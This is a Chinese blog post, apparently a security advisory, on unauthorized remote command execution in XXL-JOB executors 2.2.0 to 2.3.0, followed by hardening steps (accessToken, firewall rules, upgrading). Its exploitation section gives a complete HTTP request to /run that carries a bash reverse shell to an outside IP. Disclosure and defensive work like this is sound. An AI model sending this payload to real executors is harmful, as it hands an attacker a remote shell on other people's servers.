Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >漏洞研究(7):XXL-JOB执行器未授权访问漏洞(RESTful API)

漏洞研究(7):XXL-JOB执行器未授权访问漏洞(RESTful API)

作者头像
OneMoreThink
发布于 2025-05-14 03:46:39
发布于 2025-05-14 03:46:39
73300
代码可运行
举报
运行总次数:0
代码可运行

1. 组件介绍

XXL-JOB是一个分布式任务调度平台,分为调度中心和执行器两部分。

在调度中心添加执行器后,调度中心可以对执行器进行命令执行,属于集权系统,可以帮助攻击者批量获取服务器权限。

同时,通过调度中心横向到执行器,往往可以帮助攻击者实现跨网横移,这在网络策略严格的环境中具有较大价值。

2. 原理与危害

调度中心使用RESTful API对执行器进行调度通信时,可以使用accessToken向执行器证明自己的身份。

如果没有配置accessToken,任何人都能对执行器发起调度通信,对执行器所在的服务器进行任意命令执行,从而获得执行器所在服务器的权限。

3. 影响版本

受影响版本是2.2.0 <= XXL-JOB <= 2.3.0,具体如下:

  1. 2.2.0
  2. 2.3.0

4. 利用方式

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /run HTTP/1.1
Host: 10.58.81.107:9999
Content-Length: 383

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1745646241,
  "glueType": "GLUE_SHELL",
  "glueSource": "bash -i >& /dev/tcp/10.58.81.119/8888 0>&1",
  "glueUpdatetime": 1745646241,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

5. 加固措施

可参考XXL-JOB作者恨铁不成钢的防护建议:XXL JOB 未授权访问致远程命令执行 "漏洞" 声明

5.1 开启身份认证

配置accessToken,开启身份认证调度中心和执行器的值需保持一致。

accessToken在调度中心的配置文件是xxl-job-admin/src/main/resources/application.properties,配置项是xxl.job.accessToken=

accessToken在执行器的配置文件是xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties,配置项是xxl.job.accessToken=

例如将accessToken的值修改为OneMoreThink666666:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cd /usr/local/xxl-job-2.2.0

sed -i 's/xxl.job.accessToken=/xxl.job.accessToken=OneMoreThink666666/g' /usr/local/xxl-job-2.2.0/xxl-job-admin/src/main/resources/application.properties

sed -i 's/xxl.job.accessToken=/xxl.job.accessToken=OneMoreThink666666/g' /usr/local/xxl-job-2.2.0/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties

然后重新打包与部署:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
### 打包
cd /usr/local/xxl-job-2.2.0
mvn clean package

## 部署调度中心和执行器

java -jar xxl-job-admin/target/xxl-job-admin-2.2.0.jar &

java -jar xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.2.0.jar

再次对执行器进行未授权任意代码执行,如果报错The access token is wrong,说明漏洞修复成功。

5.2 限制端口访问

执行器所在的服务器中配置本地防火墙,只允许调度中心访问执行器的9999端口。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# 如果担心已有规则干扰,可将允许规则插入到链的顶部。
# 即时调度中心和执行器在同一台服务器中,该命令不会影响调度中心对执行器的正常通信。
iptables -I INPUT 1 -p tcp -s 10.58.81.107 --dport 9999 -j ACCEPT

# 拒绝其他所有IP访问9999端口
iptables -A INPUT -p tcp --dport 9999 -j DROP

# 永久保存规则(CentOS中)
yum install iptables-services -y && service iptables save && systemctl enable iptables

再次对执行器进行未授权任意代码执行,如果没有响应,连接失败,说明漏洞修复成功。

5.3 升级至安全版本

建议升级至2.4.1及以上版本。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-05-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 OneMoreThink 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验